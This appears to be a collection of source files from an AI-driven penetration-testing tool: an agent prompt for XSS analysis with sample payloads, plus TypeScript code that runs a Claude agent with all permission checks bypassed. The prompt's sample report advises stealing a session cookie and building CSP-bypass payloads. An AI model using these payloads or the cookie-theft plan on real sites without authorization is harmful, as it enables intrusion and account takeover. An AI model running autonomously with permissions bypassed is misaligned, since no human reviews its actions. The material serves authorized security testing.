"witness_payload": "A minimal, non-malicious payload that proves context control (e.g., '><script>alert(1)</script>', '" onmouseover=alert(1) ').",
"confidence": "high | med | low.",
"notes": "Relevant CSP, HttpOnly flags, WAF behavior, or other environmental factors."
}
</exploitation_queue_format>
</data_format_specifications>
<methodology_and_domain_expertise>
<methodology>
## **Comprehensive XSS Vulnerability Analysis (Sink-to-Source)**
- **Goal:** Identify vulnerable data flow paths by starting at the XSS sinks received from the recon phase and tracing backward to their sanitizations and sources. This approach is optimized for finding all types of XSS, especially complex Stored XSS patterns.
- **Core Principle:** Data is assumed to be tainted until a context-appropriate output encoder (sanitization) is encountered on its path to the sink.
### **1) Create a todo item for each XSS sink using the TodoWrite tool**
Read deliverables/pre_recon_deliverable.md section ##9. XSS Sinks and Render Contexts## and use the **TodoWrite tool** to create a todo item for each discovered sink-context pair that needs analysis.
### **2) Trace Each Sink Backward (Backward Taint Analysis)**
For each pending item in your todo list (managed via TodoWrite tool), trace the origin of the data variable backward from the sink through the application logic. Your goal is to find either a valid sanitizer or an untrusted source. Mark each todo item as completed after you've fully analyzed that sink.
- **Early Termination for Secure Paths (Efficiency Rule):**
- As you trace backward, if you encounter a sanitization/encoding function, immediately perform two checks:
1. **Context Match:** Is the function the correct type for the sink's specific render context? (e.g., HTML Entity Encoding for an `HTML_BODY` sink). Refer to the rules in Step 5.
2. **Mutation Check:** Have any string concatenations or other mutations occurred *between* this sanitizer and the sink?
- If the sanitizer is a **correct match** AND there have been **no intermediate mutations**, this path is **SAFE**. You must stop tracing this path, document it as secure, and proceed to the next path.
- **Path Forking:** If a variable at a sink can be populated from multiple code paths (e.g., from different branches of an `if/else` statement), you must trace **every path** backward independently. Each unique route is a separate "Data Flow Path" to be analyzed.
- **Track Mutations:** As you trace backward, note any string concatenations or other mutations. A mutation that occurs **before** an encoder is applied (i.e., closer to the sink) can invalidate that encoding, preventing early termination.
### **3) The Database Read Checkpoint (Handling Stored XSS)**
If your backward trace reaches a database read operation (e.g., `user.find()`, `product.getById()`) **without having first terminated at a valid sanitizer**, this point becomes a **Critical Checkpoint**.
- **Heuristic:** At this checkpoint, you must assume the data read from the database is untrusted. The analysis for this specific path concludes here.
- **Rule:** A vulnerability exists because no context-appropriate output encoding was applied between this database read and the final render sink.
- **Documentation:** You MUST capture the specific DB read operation, including the file:line location and the data field being accessed (e.g., 'user.find().name at models/user.js:127').
- **Simplification:** For this analysis, you will **not** trace further back to find the corresponding database write. A lack of output encoding after a DB read is a critical flaw in itself and is sufficient to declare the path vulnerable to Stored XSS.
### **4) Identify the Ultimate Source & Classify the Vulnerability**
If a path does not terminate at a valid sanitizer, the end of your backward trace will identify the source and define the vulnerability type:
- **Stored XSS:** The backward path terminates at a **Database Read Checkpoint**. Document the specific DB read operation and field.
- **Reflected XSS:** The backward path terminates at an immediate user input (e.g., a URL parameter, form body, or header). Document the exact input location.
- **DOM-based XSS:** The entire path from source (e.g., `location.hash`) to sink (e.g., `innerHTML`) exists and executes exclusively in client-side code. Document the complete client-side data flow.
### **5) Decide if Encoding Matches the Sink's Context (Core Rule)**
This rulebook is used for the **Early Termination** check in Step 2.
- **HTML_BODY:** Requires **HTML Entity Encoding** (`<` → `&lt;`).
- **HTML_ATTRIBUTE:** Requires **Attribute Encoding**.
- **JAVASCRIPT_STRING:** Requires **JavaScript String Escaping** (`'` → `\'`).
- **URL_PARAM:** Requires **URL Encoding**.
- **CSS_VALUE:** Requires **CSS Hex Encoding**.
- **Mismatch:** A path is considered vulnerable if the trace completes back to a source without encountering a matching encoder.
### **6) Make the Call, Document, and Score Confidence**
- **Vulnerable:** If a full sink-to-source path is established with a clear encoding mismatch or a missing encoder.
- **Document Finding:** Use the `exploitation_queue_format`. For each vulnerable path, create a separate entry.
- **Confidence:**
- **High:** Unambiguous backward trace with a clear encoding mismatch.
- **Medium:** Path is plausible but obscured by complex code.
- **Low:** Suspicious sink pattern but the backward trace is incomplete.
### **7) Document Finding**
- Use `exploitation_queue_format` to structure your finding for every path analyzed.
- **CRITICAL:** Include the complete data flow graph information:
- The specific source or DB read operation with file:line location (in `source_detail` field)
- The complete path from source to sink including all transformations (in `path` field)
- All sanitization points encountered along the path (in `encoding_observed` field)
- Include both safe and vulnerable paths to demonstrate **full coverage**.
- Craft a minimal `witness_payload` that proves control over the render context.
- For every path analyzed, you must document the outcome. The location of the documentation depends on the verdict:
- If the verdict is 'vulnerable', you MUST use the save-deliverable CLI to save the finding to the exploitation queue, including complete source-to-sink information.
- If the verdict is 'safe', you MUST NOT add it to the exploitation queue. Instead, you will document these secure paths in the "Vectors Analyzed and Confirmed Secure" table of your final analysis report.
- For vulnerable findings, craft a minimal witness_payload that proves control over the render context.
### **8) Score Confidence**
- **High:** Unambiguous source-to-sink path with clear encoding mismatch observed in code or browser.
- **Medium:** Path is plausible but obscured by complex code or minified JavaScript.
- **Low:** Suspicious reflection pattern observed but no clear code path to confirm flaw.
</methodology>
<advanced_topics_to_consider>
- DOM Clobbering: Can you inject HTML with id or name attributes that overwrite global JavaScript variables? (e.g., <input id=config>).
- Mutation XSS (mXSS): Does the browser's own HTML parser create a vulnerability when it "corrects" malformed HTML containing your payload? (e.g., <noscript><p title="</noscript><img src=x onerror=alert(1)>">).
- Template Injection: If a server-side templating engine is used (Jinja, Handlebars), can you inject template syntax instead of HTML? (e.g., {{ 7*7 }}).
- CSP Bypasses: Analyze the Content-Security-Policy header. Can it be bypassed with JSONP endpoints, script gadgets in allowed libraries, or base tag injection?
</advanced_topics_to_consider>
<false_positives_to_avoid>
- Self-XSS: A vulnerability that requires the user to paste the payload into their own browser. Generally not a finding unless it can be used to trick another user.
- WAF Blocking: A Web Application Firewall (WAF) blocking your payload does not mean the underlying code is secure. Document the WAF behavior, but the goal is to find a bypass and report the root cause vulnerability.
- Content-Type Mismatches: An X-Content-Type-Options: nosniff header is a defense against some attacks but does not prevent XSS on its own.
- Incorrect Encoding as a Fix: HTML encoding inside a JavaScript string (var x = '&lt;script&gt;...';) does not prevent XSS, as the browser will not interpret it as a tag in that context. The vulnerability is breaking out of the JS string itself.
</false_positives_to_avoid>
</methodology_and_domain_expertise>
<deliverable_instructions>
When you have systematically analyzed all input vectors, you MUST generate two final files. Follow these instructions precisely.
## 1. Your Specialist Deliverable
- First, synthesize all of your findings into a single, detailed Markdown report located at
`deliverables/xss_analysis_deliverable.md`.
- Your report MUST use the following structure precisely:
# Cross-Site Scripting (XSS) Analysis Report
## 1. Executive Summary
- **Analysis Status:** Complete
- **Key Outcome:** Several high-confidence XSS vulnerabilities were identified. All findings have been passed to the exploitation phase via `deliverables/xss_exploitation_queue.json`.
- **Purpose of this Document:** This report provides the strategic context, dominant patterns, and environmental intelligence necessary to effectively exploit the vulnerabilities.
## 2. Dominant Vulnerability Patterns
**Pattern 1: Reflected XSS in Search Parameter**
- **Description:** A recurring pattern was observed where the main search parameter (`?q=`) is reflected directly into the HTML body without any output encoding.
- **Implication:** Any page with a search bar is likely vulnerable to basic reflected XSS. This is the easiest vector for exploitation.
- **Representative Findings:** XSS-VULN-01, XSS-VULN-03.
**Pattern 2: DOM-based XSS in URL Hash**
- **Description:** Client-side JavaScript reads from `location.hash` and writes the value into a div using `innerHTML` to dynamically load content, without sanitization.
- **Implication:** This allows for script execution without the payload ever being sent to the server, potentially bypassing server-side logs and WAFs.
- **Representative Finding:** XSS-VULN-02.
## 3. Strategic Intelligence for Exploitation
**Content Security Policy (CSP) Analysis**
- **Current CSP:** `script-src 'self' https://trusted-cdn.com;`
- **Critical Bypass:** The trusted CDN hosts an old version of AngularJS, which is vulnerable to client-side template injection. This provides a clear path to bypass the CSP.
- **Recommendation:** Exploitation should focus on crafting AngularJS sandbox escape payloads.
**Cookie Security**
- **Observation:** The primary session cookie (`sessionid`) is missing the `HttpOnly` flag.
- **Recommendation:** This is a high-impact finding. The primary goal of exploitation should be to steal this cookie via `document.cookie`.
## 4. Vectors Analyzed and Confirmed Secure
These input vectors were traced and confirmed to have robust, context-appropriate defenses.
| Source (Parameter/Key) | Endpoint/File Location | Defense Mechanism Implemented | Render Context | Verdict |
|--------------------------|-------------------------|--------------------------------|----------------|---------|
| `username` | `/profile` | HTML Entity Encoding | HTML_BODY | SAFE |
| `redirect_url` | `/login` | Strict URL Whitelist Validation | URL_PARAM | SAFE |
## 5. Analysis Constraints and Blind Spots
- **Minified JavaScript:** Analysis of the primary client-side bundle (`app.min.js`) was difficult. Some DOM XSS vulnerabilities may have been missed due to obfuscated code.
---
</deliverable_instructions>
<exploitation_queue_requirements>
## Exploitation Queue (MANDATORY)
Regardless of whether vulnerabilities are found, you MUST create the exploitation queue using the save-deliverable CLI tool.
- **If exploitable vulnerabilities found:**
Run save-deliverable CLI with `--type XSS_QUEUE --content '{"vulnerabilities": [...]}'` with each exploitable XSS vulnerability (verdict: "vulnerable") following the `exploitation_queue_format`. Set `externally_exploitable` to `true` ONLY if exploitable via public internet without internal access.
- **If no exploitable vulnerabilities found:**
Run save-deliverable CLI with `--type XSS_QUEUE --content '{"vulnerabilities": []}'`
- **QUEUE INCLUSION CRITERIA:** ONLY include vulnerabilities where `externally_exploitable = true`. Exclude any vulnerability requiring internal network access, VPN, or direct server access.
This file is the mandatory handoff to the Exploitation phase.
</exploitation_queue_requirements>
<conclusion_trigger>
COMPLETION REQUIREMENTS (ALL must be satisfied):
1. Systematic Analysis: ALL input vectors identified from the reconnaissance deliverable must be analyzed.
2. Deliverable Generation: Both required deliverables must be successfully saved using the save-deliverable CLI tool:
- **CHUNKED WRITING (MANDATORY):**
1. Use the **Write** tool to create `deliverables/xss_analysis_deliverable.md` with the title and first major section
2. Use the **Edit** tool to append each remaining section — match the last few lines of the file, then replace with those lines plus the new section content
3. Repeat step 2 for all remaining sections
4. Run `save-deliverable` with `--type XSS_ANALYSIS --file-path "deliverables/xss_analysis_deliverable.md"`
**WARNING:** Do NOT write the entire report in a single tool call — exceeds 32K output token limit. Split into multiple Write/Edit operations.
- Exploitation queue: Run save-deliverable CLI with `--type XSS_QUEUE --content '{"vulnerabilities": [...]}'`
ONLY AFTER both systematic analysis AND successful deliverable generation, announce "XSS ANALYSIS COMPLETE" and stop.
**CRITICAL:** After announcing completion, STOP IMMEDIATELY. Do NOT output summaries, recaps, or explanations of your work — the deliverable contains everything needed.
</conclusion_trigger>
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
// Null Object pattern for audit logging - callers never check for null
import type { AuditSession } from '../audit/index.js';
import { formatTimestamp } from '../utils/formatting.js';
export interface AuditLogger {
logLlmResponse(turn: number, content: string): Promise<void>;
logToolStart(toolName: string, parameters: unknown): Promise<void>;
logToolEnd(result: unknown): Promise<void>;
logError(error: Error, duration: number, turns: number): Promise<void>;
}
class RealAuditLogger implements AuditLogger {
private auditSession: AuditSession;
constructor(auditSession: AuditSession) {
this.auditSession = auditSession;
}
async logLlmResponse(turn: number, content: string): Promise<void> {
await this.auditSession.logEvent('llm_response', {
turn,
content,
timestamp: formatTimestamp(),
});
}
async logToolStart(toolName: string, parameters: unknown): Promise<void> {
await this.auditSession.logEvent('tool_start', {
toolName,
parameters,
timestamp: formatTimestamp(),
});
}
async logToolEnd(result: unknown): Promise<void> {
await this.auditSession.logEvent('tool_end', {
result,
timestamp: formatTimestamp(),
});
}
async logError(error: Error, duration: number, turns: number): Promise<void> {
await this.auditSession.logEvent('error', {
message: error.message,
errorType: error.constructor.name,
stack: error.stack,
duration,
turns,
timestamp: formatTimestamp(),
});
}
}
/** Null Object implementation - all methods are safe no-ops */
class NullAuditLogger implements AuditLogger {
async logLlmResponse(_turn: number, _content: string): Promise<void> {}
async logToolStart(_toolName: string, _parameters: unknown): Promise<void> {}
async logToolEnd(_result: unknown): Promise<void> {}
async logError(_error: Error, _duration: number, _turns: number): Promise<void> {}
}
// Returns no-op when auditSession is null
export function createAuditLogger(auditSession: AuditSession | null): AuditLogger {
if (auditSession) {
return new RealAuditLogger(auditSession);
}
return new NullAuditLogger();
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
// Production Claude agent execution with retry, git checkpoints, and audit logging
import { query } from '@anthropic-ai/claude-agent-sdk';
import { fs, path } from 'zx';
import type { AuditSession } from '../audit/index.js';
import { isRetryableError, PentestError } from '../services/error-handling.js';
import { AGENT_VALIDATORS } from '../session-manager.js';
import type { ActivityLogger } from '../types/activity-logger.js';
import { isSpendingCapBehavior } from '../utils/billing-detection.js';
import { formatTimestamp } from '../utils/formatting.js';
import { Timer } from '../utils/metrics.js';
import { createAuditLogger } from './audit-logger.js';
import { dispatchMessage } from './message-handlers.js';
import { type ModelTier, resolveModel } from './models.js';
import { detectExecutionContext, formatCompletionMessage, formatErrorOutput } from './output-formatters.js';
import { createProgressManager } from './progress-manager.js';
import { getActualModelName } from './router-utils.js';
declare global {
var SHANNON_DISABLE_LOADER: boolean | undefined;
}
export interface ClaudePromptResult {
result?: string | null | undefined;
success: boolean;
duration: number;
turns?: number | undefined;
cost: number;
model?: string | undefined;
partialCost?: number | undefined;
apiErrorDetected?: boolean | undefined;
error?: string | undefined;
errorType?: string | undefined;
prompt?: string | undefined;
retryable?: boolean | undefined;
}
function outputLines(lines: string[]): void {
for (const line of lines) {
console.log(line);
}
}
async function writeErrorLog(
err: Error & { code?: string; status?: number },
sourceDir: string,
fullPrompt: string,
duration: number,
): Promise<void> {
try {
const errorLog = {
timestamp: formatTimestamp(),
agent: 'claude-executor',
error: {
name: err.constructor.name,
message: err.message,
code: err.code,
status: err.status,
stack: err.stack,
},
context: {
sourceDir,
prompt: `${fullPrompt.slice(0, 200)}...`,
retryable: isRetryableError(err),
},
duration,
};
const logPath = path.join(sourceDir, 'error.log');
await fs.appendFile(logPath, `${JSON.stringify(errorLog)}\n`);
} catch {
// Best-effort error log writing - don't propagate failures
}
}
export async function validateAgentOutput(
result: ClaudePromptResult,
agentName: string | null,
sourceDir: string,
logger: ActivityLogger,
): Promise<boolean> {
logger.info(`Validating ${agentName} agent output`);
try {
// Check if agent completed successfully
if (!result.success || !result.result) {
logger.error('Validation failed: Agent execution was unsuccessful');
return false;
}
// Get validator function for this agent
const validator = agentName ? AGENT_VALIDATORS[agentName as keyof typeof AGENT_VALIDATORS] : undefined;
if (!validator) {
logger.warn(`No validator found for agent "${agentName}" - assuming success`);
logger.info('Validation passed: Unknown agent with successful result');
return true;
}
logger.info(`Using validator for agent: ${agentName}`, { sourceDir });
// Apply validation function
const validationResult = await validator(sourceDir, logger);
if (validationResult) {
logger.info('Validation passed: Required files/structure present');
} else {
logger.error('Validation failed: Missing required deliverable files');
}
return validationResult;
} catch (error) {
const errMsg = error instanceof Error ? error.message : String(error);
logger.error(`Validation failed with error: ${errMsg}`);
return false;
}
}
// Low-level SDK execution. Handles message streaming, progress, and audit logging.
// Exported for Temporal activities to call single-attempt execution.
export async function runClaudePrompt(
prompt: string,
sourceDir: string,
context: string = '',
description: string = 'Claude analysis',
_agentName: string | null = null,
auditSession: AuditSession | null = null,
logger: ActivityLogger,
modelTier: ModelTier = 'medium',
): Promise<ClaudePromptResult> {
// 1. Initialize timing and prompt
const timer = new Timer(`agent-${description.toLowerCase().replace(/\s+/g, '-')}`);
const fullPrompt = context ? `${context}\n\n${prompt}` : prompt;
// 2. Set up progress and audit infrastructure
const execContext = detectExecutionContext(description);
const progress = createProgressManager(
{ description, useCleanOutput: execContext.useCleanOutput },
global.SHANNON_DISABLE_LOADER ?? false,
);
const auditLogger = createAuditLogger(auditSession);
logger.info(`Running Claude Code: ${description}...`);
// 3. Build env vars to pass to SDK subprocesses
const sdkEnv: Record<string, string> = {
CLAUDE_CODE_MAX_OUTPUT_TOKENS: process.env.CLAUDE_CODE_MAX_OUTPUT_TOKENS || '64000',
};
const passthroughVars = [
'ANTHROPIC_API_KEY',
'CLAUDE_CODE_OAUTH_TOKEN',
'ANTHROPIC_BASE_URL',
'ANTHROPIC_AUTH_TOKEN',
'CLAUDE_CODE_USE_BEDROCK',
'AWS_REGION',
'AWS_BEARER_TOKEN_BEDROCK',
'CLAUDE_CODE_USE_VERTEX',
'CLOUD_ML_REGION',
'ANTHROPIC_VERTEX_PROJECT_ID',
'GOOGLE_APPLICATION_CREDENTIALS',
'ANTHROPIC_SMALL_MODEL',
'ANTHROPIC_MEDIUM_MODEL',
'ANTHROPIC_LARGE_MODEL',
'HOME',
'PATH',
'PLAYWRIGHT_MCP_EXECUTABLE_PATH',
];
for (const name of passthroughVars) {
const val = process.env[name];
if (val) {
sdkEnv[name] = val;
}
}
// 4. Configure SDK options
const options = {
model: resolveModel(modelTier),
maxTurns: 10_000,
cwd: sourceDir,
permissionMode: 'bypassPermissions' as const,
allowDangerouslySkipPermissions: true,
settingSources: ['user'] as ('user' | 'project' | 'local')[],
env: sdkEnv,
};
if (!execContext.useCleanOutput) {
logger.info(`SDK Options: maxTurns=${options.maxTurns}, cwd=${sourceDir}, permissions=BYPASS`);
}
let turnCount = 0;
let result: string | null = null;
let apiErrorDetected = false;
let totalCost = 0;
progress.start();
try {
// 6. Process the message stream
const messageLoopResult = await processMessageStream(
fullPrompt,
options,
{ execContext, description, progress, auditLogger, logger },
timer,
);
turnCount = messageLoopResult.turnCount;
result = messageLoopResult.result;
apiErrorDetected = messageLoopResult.apiErrorDetected;
totalCost = messageLoopResult.cost;
const model = messageLoopResult.model;
// === SPENDING CAP SAFEGUARD ===
// 7. Defense-in-depth: Detect spending cap that slipped through detectApiError().
// Uses consolidated billing detection from utils/billing-detection.ts
if (isSpendingCapBehavior(turnCount, totalCost, result || '')) {
throw new PentestError(
`Spending cap likely reached (turns=${turnCount}, cost=$0): ${result?.slice(0, 100)}`,
'billing',
true, // Retryable - Temporal will use 5-30 min backoff
);
}
// 8. Finalize successful result
const duration = timer.stop();
if (apiErrorDetected) {
logger.warn(`API Error detected in ${description} - will validate deliverables before failing`);
}
progress.finish(formatCompletionMessage(execContext, description, turnCount, duration));
return {
result,
success: true,
duration,
turns: turnCount,
cost: totalCost,
model,
partialCost: totalCost,
apiErrorDetected,
};
} catch (error) {
// 9. Handle errors — log, write error file, return failure
const duration = timer.stop();
const err = error as Error & { code?: string; status?: number };
await auditLogger.logError(err, duration, turnCount);
progress.stop();
outputLines(formatErrorOutput(err, execContext, description, duration, sourceDir, isRetryableError(err)));
await writeErrorLog(err, sourceDir, fullPrompt, duration);
return {
error: err.message,
errorType: err.constructor.name,
prompt: `${fullPrompt.slice(0, 100)}...`,
success: false,
duration,
cost: totalCost,
retryable: isRetryableError(err),
};
}
}
interface MessageLoopResult {
turnCount: number;
result: string | null;
apiErrorDetected: boolean;
cost: number;
model?: string | undefined;
}
interface MessageLoopDeps {
execContext: ReturnType<typeof detectExecutionContext>;
description: string;
progress: ReturnType<typeof createProgressManager>;
auditLogger: ReturnType<typeof createAuditLogger>;
logger: ActivityLogger;
}
async function processMessageStream(
fullPrompt: string,
options: NonNullable<Parameters<typeof query>[0]['options']>,
deps: MessageLoopDeps,
timer: Timer,
): Promise<MessageLoopResult> {
const { execContext, description, progress, auditLogger, logger } = deps;
const HEARTBEAT_INTERVAL = 30000;
let turnCount = 0;
let result: string | null = null;
let apiErrorDetected = false;
let cost = 0;
let model: string | undefined;
let lastHeartbeat = Date.now();
for await (const message of query({ prompt: fullPrompt, options })) {
// Heartbeat logging when loader is disabled
const now = Date.now();
if (global.SHANNON_DISABLE_LOADER && now - lastHeartbeat > HEARTBEAT_INTERVAL) {
logger.info(`[${Math.floor((now - timer.startTime) / 1000)}s] ${description} running... (Turn ${turnCount})`);
lastHeartbeat = now;
}
// Increment turn count for assistant messages
if (message.type === 'assistant') {
turnCount++;
}
const dispatchResult = await dispatchMessage(message as { type: string; subtype?: string }, turnCount, {
execContext,
description,
progress,
auditLogger,
logger,
});
if (dispatchResult.type === 'throw') {
throw dispatchResult.error;
}
if (dispatchResult.type === 'complete') {
result = dispatchResult.result;
cost = dispatchResult.cost;
break;
}
if (dispatchResult.type === 'continue') {
if (dispatchResult.apiErrorDetected) {
apiErrorDetected = true;
}
// Capture model from SystemInitMessage, but override with router model if applicable
if (dispatchResult.model) {
model = getActualModelName(dispatchResult.model);
}
}
}
return { turnCount, result, apiErrorDetected, cost, model };
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
import type { SDKAssistantMessageError } from '@anthropic-ai/claude-agent-sdk';
import { PentestError } from '../services/error-handling.js';
import type { ActivityLogger } from '../types/activity-logger.js';
import { ErrorCode } from '../types/errors.js';
import { matchesBillingTextPattern } from '../utils/billing-detection.js';
import { formatTimestamp } from '../utils/formatting.js';
import type { AuditLogger } from './audit-logger.js';
import {
filterJsonToolCalls,
formatAssistantOutput,
formatResultOutput,
formatToolResultOutput,
formatToolUseOutput,
} from './output-formatters.js';
import type { ProgressManager } from './progress-manager.js';
import { getActualModelName } from './router-utils.js';
import type {
ApiErrorDetection,
AssistantMessage,
AssistantResult,
ContentBlock,
ExecutionContext,
ResultData,
ResultMessage,
SystemInitMessage,
ToolResultData,
ToolResultMessage,
ToolUseData,
ToolUseMessage,
} from './types.js';
// Handles both array and string content formats from SDK
function extractMessageContent(message: AssistantMessage): string {
const messageContent = message.message;
if (Array.isArray(messageContent.content)) {
return messageContent.content.map((c: ContentBlock) => c.text || JSON.stringify(c)).join('\n');
}
return String(messageContent.content);
}
// Extracts only text content (no tool_use JSON) to avoid false positives in error detection
function extractTextOnlyContent(message: AssistantMessage): string {
const messageContent = message.message;
if (Array.isArray(messageContent.content)) {
return messageContent.content
.filter((c: ContentBlock) => c.type === 'text' || c.text)
.map((c: ContentBlock) => c.text || '')
.join('\n');
}
return String(messageContent.content);
}
function detectApiError(content: string): ApiErrorDetection {
if (!content || typeof content !== 'string') {
return { detected: false };
}
const lowerContent = content.toLowerCase();
// === BILLING/SPENDING CAP ERRORS (Retryable with long backoff) ===
// When Claude Code hits its spending cap, it returns a short message like
// "Spending cap reached resets 8am" instead of throwing an error.
// These should retry with 5-30 min backoff so workflows can recover when cap resets.
if (matchesBillingTextPattern(content)) {
return {
detected: true,
shouldThrow: new PentestError(
`Billing limit reached: ${content.slice(0, 100)}`,
'billing',
true, // RETRYABLE - Temporal will use 5-30 min backoff
{},
ErrorCode.SPENDING_CAP_REACHED,
),
};
}
// === SESSION LIMIT (Non-retryable) ===
// Different from spending cap - usually means something is fundamentally wrong
if (lowerContent.includes('session limit reached')) {
return {
detected: true,
shouldThrow: new PentestError('Session limit reached', 'billing', false),
};
}
// Non-fatal API errors - detected but continue
if (lowerContent.includes('api error') || lowerContent.includes('terminated')) {
return { detected: true };
}
return { detected: false };
}
// Maps SDK structured error types to our error handling.
function handleStructuredError(errorType: SDKAssistantMessageError, content: string): ApiErrorDetection {
switch (errorType) {
case 'billing_error':
return {
detected: true,
shouldThrow: new PentestError(
`Billing error (structured): ${content.slice(0, 100)}`,
'billing',
true, // Retryable with backoff
{},
ErrorCode.INSUFFICIENT_CREDITS,
),
};
case 'rate_limit':
return {
detected: true,
shouldThrow: new PentestError(
`Rate limit hit (structured): ${content.slice(0, 100)}`,
'network',
true, // Retryable with backoff
{},
ErrorCode.API_RATE_LIMITED,
),
};
case 'authentication_failed':
return {
detected: true,
shouldThrow: new PentestError(
`Authentication failed: ${content.slice(0, 100)}`,
'config',
false, // Not retryable - needs API key fix
),
};
case 'server_error':
return {
detected: true,
shouldThrow: new PentestError(
`Server error (structured): ${content.slice(0, 100)}`,
'network',
true, // Retryable
),
};
case 'invalid_request':
return {
detected: true,
shouldThrow: new PentestError(
`Invalid request: ${content.slice(0, 100)}`,
'config',
false, // Not retryable - needs code fix
),
};
case 'max_output_tokens':
return {
detected: true,
shouldThrow: new PentestError(
`Max output tokens reached: ${content.slice(0, 100)}`,
'billing',
true, // Retryable - may succeed with different content
),
};
default:
return { detected: true };
}
}
function handleAssistantMessage(message: AssistantMessage, turnCount: number): AssistantResult {
const content = extractMessageContent(message);
const cleanedContent = filterJsonToolCalls(content);
// Prefer structured error field from SDK, fall back to text-sniffing
// Use text-only content for error detection to avoid false positives
// from tool_use JSON (e.g. security reports containing "usage limit")
let errorDetection: ApiErrorDetection;
if (message.error) {
errorDetection = handleStructuredError(message.error, content);
} else {
const textOnlyContent = extractTextOnlyContent(message);
errorDetection = detectApiError(textOnlyContent);
}
const result: AssistantResult = {
content,
cleanedContent,
apiErrorDetected: errorDetection.detected,
logData: {
turn: turnCount,
content,
timestamp: formatTimestamp(),
},
};
// Only add shouldThrow if it exists (exactOptionalPropertyTypes compliance)
if (errorDetection.shouldThrow) {
result.shouldThrow = errorDetection.shouldThrow;
}
return result;
}
// Final message of a query with cost/duration info
function handleResultMessage(message: ResultMessage): ResultData {
const result: ResultData = {
result: message.result || null,
cost: message.total_cost_usd || 0,
duration_ms: message.duration_ms || 0,
permissionDenials: message.permission_denials?.length || 0,
};
// Only add subtype if it exists (exactOptionalPropertyTypes compliance)
if (message.subtype) {
result.subtype = message.subtype;
}
// Capture stop_reason for diagnostics (helps debug early stops, budget exceeded, etc.)
if (message.stop_reason !== undefined) {
result.stop_reason = message.stop_reason;
if (message.stop_reason && message.stop_reason !== 'end_turn') {
console.log(` Stop reason: ${message.stop_reason}`);
}
}
return result;
}
function handleToolUseMessage(message: ToolUseMessage): ToolUseData {
return {
toolName: message.name,
parameters: message.input || {},
timestamp: formatTimestamp(),
};
}
// Truncates long results for display (500 char limit), preserves full content for logging
function handleToolResultMessage(message: ToolResultMessage): ToolResultData {
const content = message.content;
const contentStr = typeof content === 'string' ? content : JSON.stringify(content, null, 2);
const displayContent =
contentStr.length > 500
? `${contentStr.slice(0, 500)}...\n[Result truncated - ${contentStr.length} total chars]`
: contentStr;
return {
content,
displayContent,
timestamp: formatTimestamp(),
};
}
function outputLines(lines: string[]): void {
for (const line of lines) {
console.log(line);
}
}
export type MessageDispatchAction =
| { type: 'continue'; apiErrorDetected?: boolean | undefined; model?: string | undefined }
| { type: 'complete'; result: string | null; cost: number }
| { type: 'throw'; error: Error };
export interface MessageDispatchDeps {
execContext: ExecutionContext;
description: string;
progress: ProgressManager;
auditLogger: AuditLogger;
logger: ActivityLogger;
}
// Dispatches SDK messages to appropriate handlers and formatters
export async function dispatchMessage(
message: { type: string; subtype?: string },
turnCount: number,
deps: MessageDispatchDeps,
): Promise<MessageDispatchAction> {
const { execContext, description, progress, auditLogger, logger } = deps;
switch (message.type) {
case 'assistant': {
const assistantResult = handleAssistantMessage(message as AssistantMessage, turnCount);
if (assistantResult.shouldThrow) {
return { type: 'throw', error: assistantResult.shouldThrow };
}
if (assistantResult.cleanedContent.trim()) {
progress.stop();
outputLines(formatAssistantOutput(assistantResult.cleanedContent, execContext, turnCount, description));
progress.start();
}
await auditLogger.logLlmResponse(turnCount, assistantResult.content);
if (assistantResult.apiErrorDetected) {
logger.warn('API Error detected in assistant response');
return { type: 'continue', apiErrorDetected: true };
}
return { type: 'continue' };
}
case 'system': {
if (message.subtype === 'init') {
const initMsg = message as SystemInitMessage;
const actualModel = getActualModelName(initMsg.model);
if (!execContext.useCleanOutput) {
logger.info(`Model: ${actualModel}, Permission: ${initMsg.permissionMode}`);
}
// Return actual model for tracking in audit logs
return { type: 'continue', model: actualModel };
}
return { type: 'continue' };
}
case 'user':
case 'tool_progress':
case 'tool_use_summary':
case 'auth_status':
return { type: 'continue' };
case 'tool_use': {
const toolData = handleToolUseMessage(message as unknown as ToolUseMessage);
outputLines(formatToolUseOutput(toolData.toolName, toolData.parameters));
await auditLogger.logToolStart(toolData.toolName, toolData.parameters);
return { type: 'continue' };
}
case 'tool_result': {
const toolResultData = handleToolResultMessage(message as unknown as ToolResultMessage);
outputLines(formatToolResultOutput(toolResultData.displayContent));
await auditLogger.logToolEnd(toolResultData.content);
return { type: 'continue' };
}
case 'result': {
const resultData = handleResultMessage(message as ResultMessage);
outputLines(formatResultOutput(resultData, !execContext.useCleanOutput));
return { type: 'complete', result: resultData.result, cost: resultData.cost };
}
default:
logger.info(`Unhandled message type: ${message.type}`);
return { type: 'continue' };
}
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Model tier definitions and resolution.
*
* Three tiers mapped to capability levels:
* - "small" (Haiku — summarization, structured extraction)
* - "medium" (Sonnet — tool use, general analysis)
* - "large" (Opus — deep reasoning, complex analysis)
*
* Users override via ANTHROPIC_SMALL_MODEL / ANTHROPIC_MEDIUM_MODEL / ANTHROPIC_LARGE_MODEL,
* which works across all providers (direct, Bedrock, Vertex).
*/
export type ModelTier = 'small' | 'medium' | 'large';
const DEFAULT_MODELS: Readonly<Record<ModelTier, string>> = {
small: 'claude-haiku-4-5-20251001',
medium: 'claude-sonnet-4-6',
large: 'claude-opus-4-6',
};
/** Resolve a model tier to a concrete model ID. */
export function resolveModel(tier: ModelTier = 'medium'): string {
switch (tier) {
case 'small':
return process.env.ANTHROPIC_SMALL_MODEL || DEFAULT_MODELS.small;
case 'large':
return process.env.ANTHROPIC_LARGE_MODEL || DEFAULT_MODELS.large;
default:
return process.env.ANTHROPIC_MEDIUM_MODEL || DEFAULT_MODELS.medium;
}
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
import { AGENTS } from '../session-manager.js';
import { extractAgentType, formatDuration } from '../utils/formatting.js';
